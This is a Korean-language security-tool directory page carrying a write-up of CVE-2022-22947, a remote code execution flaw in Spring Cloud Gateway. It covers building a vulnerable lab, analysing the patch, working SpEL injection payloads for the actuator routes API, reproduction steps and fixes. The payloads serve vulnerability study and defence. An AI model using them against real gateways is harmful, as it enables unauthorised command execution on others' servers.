Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-22947 — Spring-Cloud-Spel-RCE | Kitploit
도구/GitHubGitHub/4nnns/cve-2022-22947
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHub4nnns/cve-2022-22947

CVE-2022-22947

Spring-Cloud-Spel-RCE

저장소 보기
1223년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SpringCloud-Gateway 명령 실행 취약점 (CVE-2022-22947)

환경 구축

방법 1:

GitHub에 이미 작성된 환경 코드를 클론합니다.

GitHub 저장소

root@kitploit:~
//⚠️ 환경 코드 다운로드 경로에 한글 또는 공백이 포함되지 않도록 주의
git clone https://github.com/Ha0Liu/CVE-2022-22947.git

IDEA를 사용하여 방금 다운로드한 코드 패키지를 엽니다. Open ---> 방금 다운로드한 파일 경로 ---> Open.

방법 2:

직접 프로젝트를 생성하여 환경을 구축합니다.

(1) 새 프로젝트 생성 후, 설정을 완료하고 계속 Next를 클릭합니다.

(2) 프로젝트 디렉토리 구조 분석:

  1. .idea 폴더는 IntelliJ IDEA의 기본 설정 파일로, 다른 용도는 없으며 필요에 따라 삭제하거나 유지할 수 있습니다.
  2. src 폴더는 전체 프로젝트의 코드 영역이며, java와 resource 두 개의 폴더로 구성됩니다. java는 Java 코드를 작성하는 영역이고, resource는 전체 프로젝트의 설정 영역입니다. Spring 프로젝트는 기본적으로 java에 SpringApplication 메서드를 추가하며, 이 메서드는 Spring의 기본 시작 메서드입니다. resource에는 기본적으로 application.properties 파일이 추가되며, 이 파일은 Spring 프로젝트의 설정 파일입니다.
  3. test 폴더는 테스트 폴더로, 테스트 메서드를 작성할 수 있습니다.
  4. pom.xml은 Maven의 설정 파일로, 프로젝트에 필요한 의존성, 설정 등을 포함합니다.
  5. .iml 파일은 Maven 의존성 패키지의 설정으로 기본적으로 추가됩니다.
  6. External Libraries 폴더는 이 프로젝트의 모든 의존성 패키지를 포함합니다.

(3) pom.xml 파일에 Maven 의존성을 추가합니다. (Maven 저장소에 모든 의존성 세부 정보가 포함되어 있습니다.)

  1. pom 파일에는 기본적으로 일부 XML 코드가 생성되며, 세부 내용은 다음과 같습니다.

  1. 프로젝트에 필요한 의존성을 가져옵니다. 이 프로젝트는 SpringBoot 프로젝트이므로 spring-boot-starter 의존성을 서버 시작기로 가져와야 합니다. 또한 이 취약점은 SpringCloud의 Gateway 게이트웨이에서 발생하는 취약점이며, 취약한 버전은 3.1.1 미만이므로 여기서는 3.1.0 버전을 사용하여 취약점을 재현합니다. 동시에 actuator 인터페이스를 통해 게이트웨이를 모니터링하고 액세스해야 하므로 이 의존성도 필요합니다. 구체적인 내용은 다음과 같습니다.

(4) Spring 설정 파일을 수정합니다. (경로: src --> main --> resources --> application.properties), 세부 내용은 다음과 같습니다.

  1. server.port는 Spring 서버의 시작 포트이며, 기본값은 8080입니다. 필요에 따라 설정할 수 있습니다.
  2. management.endpoint.gateway.enabled=true는 actuator가 SpringCloud-Gateway 게이트웨이를 감지하도록 활성화합니다. 기본값은 false이며, 이 취약점은 게이트웨이 상태를 모니터링해야 하므로 수동으로 true로 변경하여 모니터링을 활성화해야 합니다.
  3. management.endpoints.web.exposure.include=gateway는 서버의 게이트웨이로 Gateway 게이트웨이를 선택합니다. 이 취약점이 Gateway 게이트웨이의 취약점이므로 설정 파일에서 Gateway 게이트웨이를 사용하도록 선언합니다.

(5) 새 프로젝트 생성 후 자동 생성된 Java 클래스를 수정합니다. (클래스 이름은 일반적으로 프로젝트명 + Application이며, 경로는 src --> main --> java --> com.xxx.xxx --> xxxApplication) 자세한 내용은 아래 그림을 참조하세요.

(6) 프로젝트를 시작합니다. 자세한 내용은 아래 그림을 참조하세요.

(7) http://localhost:9000에 접속했을 때, 화면이 스크린샷과 동일하면 환경 구축이 성공한 것입니다.

역방향 감사

(1) 먼저 공식 수정 패치를 살펴보겠습니다. diff 내용은 다음과 같습니다: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e . 공식에서 org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue 함수에서 StandardEvaluationContext 대신 GatewayEvaluationContext를 사용하여 SPEL 표현식을 실행하도록 변경했습니다.

위 그림에서 알 수 있듯이, 이번 패치는 주로 SPEL 표현식의 파싱 방법을 수정한 것입니다. 66행의 if 조건문을 보면 SPEL 표현식이 "#{로 시작하고 }로 끝나야 함을 알 수 있습니다. 이 getValue 메서드의 기능은 SPEL 표현식을 파싱하는 것이므로, 이 취약점은 SPEL 표현식으로 인한 RCE 취약점임을 알 수 있습니다.

(2) Ctrl + 마우스 왼쪽 클릭으로 getValue 필드를 클릭하면, 상위로 거슬러 올라가 org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType 열거형을 찾을 수 있습니다.

위의 default 메서드를 통해 열거형의 DEFAULT 메서드가 호출됨을 알 수 있습니다. 메서드 세부 내용은 다음과 같습니다.

root@kitploit:~
default ShortcutType shortcutType() {
    return ShortcutType.DEFAULT;
}

DEFAULT 메서드

(3) 상위로 거슬러 올라가 org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties()를 찾습니다.

normalizeProperties()는 필터의 속성을 파싱하여, 필터의 설정 속성을 normalize에 전달하고, 최종적으로 getValue로 전달되어 SPEL 표현식이 실행되면서 SPEL 표현식 주입이 발생합니다.

정방향 감사 (무출력 이용 체인)

(1) 문서 [https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html )에 따르면, 사용자는 actuator를 통해 게이트웨이에서 라우트를 생성하고 삭제할 수 있습니다. 아래 그림은 게이트웨이의 기본 구조입니다.

(2) IDEA에서 actuator의 매핑 기능을 통해 게이트웨이의 생성, 삭제 등의 기능 인터페이스를 찾을 수 있습니다.

(3) RouteDefinition 클래스를 추적하면, 이 클래스가 게이트웨이의 구조 내용을 선언하는 것을 발견할 수 있습니다.

(4) 그 안의 FilterDefinition 클래스를 추적하면, Filter에 name과 args라는 두 개의 매개변수가 있음을 발견할 수 있습니다.

(5) 이 name 매개변수를 추적하면, AbstractGatewayControllerEndpoint#save() 메서드에서 name을 필터링하는 것을 발견할 수 있습니다. save 메서드는 게이트웨이를 생성하는 인터페이스로, 두 개의 매개변수(게이트웨이 id(사용자 정의 가능)와 RouteDefinition)를 호출합니다. 위에서 이 객체가 생성된 게이트웨이의 구조 내용을 선언한다고 설명했으며, 이로 인해 이 취약점이 트리거됩니다.

(6) 중단점을 설정하여 isAvailable() 메서드를 동적으로 디버깅하여, 어떤 name들이 이 필터링을 통과할 수 있는지 확인합니다.

위 그림과 같은 name을 사용하여 name 검증을 우회할 수 있습니다.

(7) 위 분석을 통해, 지정된 name 매개변수와 "#{로 시작하고 }로 끝나는 SPEL 표현식을 사용하여 RCE 공격을 할 수 있습니다. Payload는 다음과 같습니다.

root@kitploit:~
/**
* Payload의 SPEL 표현식 설명
* 여기서는 표현식을 통해 명령을 실행해야 하므로 T(java.lang.Runtime).getRuntime().exec() 형태로 명령 실행 메서드를 호출해야 합니다.
* 명령 실행 시 String 타입의 문자열이 필요하므로 표현식을 강제로 String 객체로 형변환해야 합니다.
* 표현식을 전달할 때 바이트 스트림 형태로 전달해야 하므로 T(org.springframework.util.StreamUtils).copyToByteArray() 메서드를 호출해야 합니다.
*/
{
  "id": "任意 변경 가능 (이전에 생성한 id와 중복 불가)",
  "filters": [{
    "name": "👆 위 스크린샷의 아무 name",
    "args": {
      "name": "任意 변경 가능",
      //이 value는 계산기를 실행하는 명령 (MacOS)
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

(8) predicates의 무출력 이용 체인 ([공식 문서](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)): predicates의 SPEL 실행 흐름은 filters의 실행 흐름과 동일합니다. 아래 그림은 predicates의 name 검증 매칭 내용입니다. 이 name들을 통해 명령을 실행할 수 있으며, 동적 디버깅을 통해 predicates의 name 검증 메커니즘을 얻을 수 있습니다. 공식 문서의 예제를 참조하여 Payload를 구성할 수 있습니다.

root@kitploit:~
/**
* Payload의 SPEL 표현식 설명
* 여기서는 표현식을 통해 명령을 실행해야 하므로 T(java.lang.Runtime).getRuntime().exec() 형태로 명령 실행 메서드를 호출해야 합니다.
* 명령 실행 시 String 타입의 문자열이 필요하므로 표현식을 강제로 String 객체로 형변환해야 합니다.
* 표현식을 전달할 때 바이트 스트림 형태로 전달해야 하므로 T(org.springframework.util.StreamUtils).copyToByteArray() 메서드를 호출해야 합니다.
*/
{
  "id": "任意 변경 가능 (이전에 생성한 id와 중복 불가)",
  "predicates": [{
    "name": "👆 위 스크린샷의 아무 name",
    "args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

요약 (무출력 이용 체인)

무출력 체인의 filters, predicates 체인은 실제로 존재하며, filters와 predicates의 이름이 제한을 합법적으로 우회하기만 하면 RCE가 트리거됩니다.

정방향 감사 (출력 이용 체인)

(1) 출력 원리: 사용자가 저장한 라우트 정의 정보는 메모리에 저장되며, 라우트를 새로고침할 때 SPEL 표현식이 실행되면 실행 결과가 라우트 정보에 기록됩니다. 라우트 정보 조회 API 인터페이스를 통해 RCE 실행 결과를 확인할 수 있습니다.

(2) 공식 문서 설명에 따르면, filters의 출력 이용 체인에서 name="AddResponseHeader"는 출력 이용 체인을 트리거할 수 있습니다.

root@kitploit:~
/**
* Payload의 SPEL 표현식 설명
* 여기서는 표현식을 통해 명령을 실행해야 하므로 T(java.lang.Runtime).getRuntime().exec() 형태로 명령 실행 메서드를 호출해야 합니다.
* 명령 실행 시 String 타입의 문자열이 필요하므로 표현식을 강제로 String 객체로 형변환해야 합니다.
* 표현식을 전달할 때 바이트 스트림 형태로 전달해야 하므로 T(org.springframework.util.StreamUtils).copyToByteArray() 메서드를 호출해야 합니다.
*/
{
  "id": "任意 변경 가능 (이전에 생성한 id와 중복 불가)",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

(3) 이제 name="AddResponseHeader" 외에도 무출력 체인처럼 모든 name에 대해 출력 가능한 RCE 공격이 가능한지 생각해봐야 합니다.

(4) name="RedirectTo"를 사용하여 재현해보고, 출력 공격이 가능한지 확인합니다.

출력이 불가능한 것을 확인했습니다. 백엔드 로그를 확인해보니, 백엔드에서 NullPointerException이 반환되었습니다.

공식 문서를 확인해보니, 입력한 args 매개변수가 필터와 일치하지 않아서 발생한 문제입니다. 이 필터에는 status와 url 두 개의 매개변수가 필요합니다. 매개변수를 변경하여 다시 실행해보겠습니다.

여전히 404를 반환하지만, 백엔드 오류는 더 이상 NullPointerException이 아닙니다. 오류 메시지를 보면, spring-cloud-gateway가 URL 형식을 파싱하고 있음을 알 수 있습니다. 즉, 해당 매개변수들에는 타입 제한이 있습니다 (예: status는 HTTP 상태 코드(열거형)여야 함).

다른 돌파구를 찾아야 합니다. 매개변수가 String 타입인 필터를 찾아봅니다.

(5) 공식 문서에서 매개변수가 String인 필터를 찾아봅니다 ([공식 링크](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory)). 예를 들어, RemoveRequestHeader 필터는 String 타입의 name 문자열 하나만 필요하므로, name 값으로 SPEL 표현식을 구성할 수 있습니다.

이제 Payload를 구성하여 시도해보면, 출력이 가능함을 확인할 수 있습니다.

Filters의 출력 이용 체인에서는 name에 대한 필터링뿐만 아니라 args 매개변수에도 일부 제한이 있지만, 다른 필터를 구성하여 그 제한을 우회할 수 있습니다.

(6) predicates의 출력 이용 체인 탐색 방법은 Filters와 동일합니다. 공식 문서의 매개변수 타입과 내용을 기준으로 필터링하여, SPEL 표현식을 실행할 수 있는 필터를 찾으면 출력 가능한 RCE를 실행할 수 있습니다.

(7) predicates에서 name="Cookie"를 사용하여 명령을 실행할 수 있습니다. 공식 문서의 매개변수 참조를 통해 구성합니다.

Payload를 구성하여 시도해보면, 출력이 성공함을 확인할 수 있습니다.

predicates 출력 체인이 실제로 존재합니다. args 매개변수 이름뿐만 아니라 매개변수 타입에도 제한이 있으며, 매개변수 완전성에도 제한이 있습니다.

요약 (출력 이용 체인)

출력 이용 체인에서 Spring은 필터의 name뿐만 아니라 args의 매개변수 타입과 개수에도 제한을 둡니다. 공식 문서에서 필터 세부 정보를 확인하여 이용 가능한 체인이 있는지 판단할 수 있습니다.

취약점 재현

  1. 무출력 이용 체인

(1) 먼저 게이트웨이를 생성하고 POST 요청을 보내며 악의적인 Payload를 구성합니다.

(2) 게이트웨이를 새로고침합니다.

复现2

(3) 게이트웨이 정보를 가져오기 위해 GET 요청을 보내 방금 생성한 test 게이트웨이를 요청하면 계산기가 실행됩니다.

(4) 게이트웨이를 삭제합니다.

  1. 출력 이용 체인

(1) 먼저 게이트웨이를 생성하고 POST 요청을 보내며 악의적인 Payload를 구성합니다.

(2) 게이트웨이를 새로고침합니다.

复现2

(3) 게이트웨이 정보를 가져오기 위해 GET 요청을 보내 방금 생성한 hacktest 게이트웨이를 요청하면 whoami가 성공적으로 출력됩니다.

复现3

(4) 게이트웨이를 삭제합니다.

复现4

수정 방안

  1. 임시 수정 방안:

(1) Actuator 엔드포인트가 필요하지 않은 경우, 다음 설정으로 비활성화할 수 있습니다.

root@kitploit:~
management.endpoint.gateway.enabled=false

(2) Actuator 엔드포인트가 필요한 경우, Spring Security를 사용하여 보호해야 합니다.

  1. 공식 업그레이드 패치:

공식에서 보안 버전을 발표했습니다.

root@kitploit:~
3.1.X 버전 사용자는 즉시 3.1.1+로 업그레이드

3.0.X 버전 사용자는 즉시 3.0.7+로 업그레이드
도구 다운로드